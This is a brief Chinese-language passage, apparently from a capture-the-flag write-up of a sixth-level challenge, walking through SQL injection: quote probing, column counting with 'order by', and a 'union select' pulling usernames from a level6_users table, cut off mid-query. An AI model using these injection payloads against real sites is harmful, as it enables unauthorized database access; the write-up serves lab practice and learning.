第六关: 点击 click me,构造url:user=1',返回user not found.user=1'',同样. 猜测是数字型注入,构造order by , user=1 order by X#,得出有5个字段. 然后,user=0 union select 1,2,3,4,5#,说user not found.不是吧.... 用username试试吧,user=0 union select 1,username,3,4,5 from level6_users where status…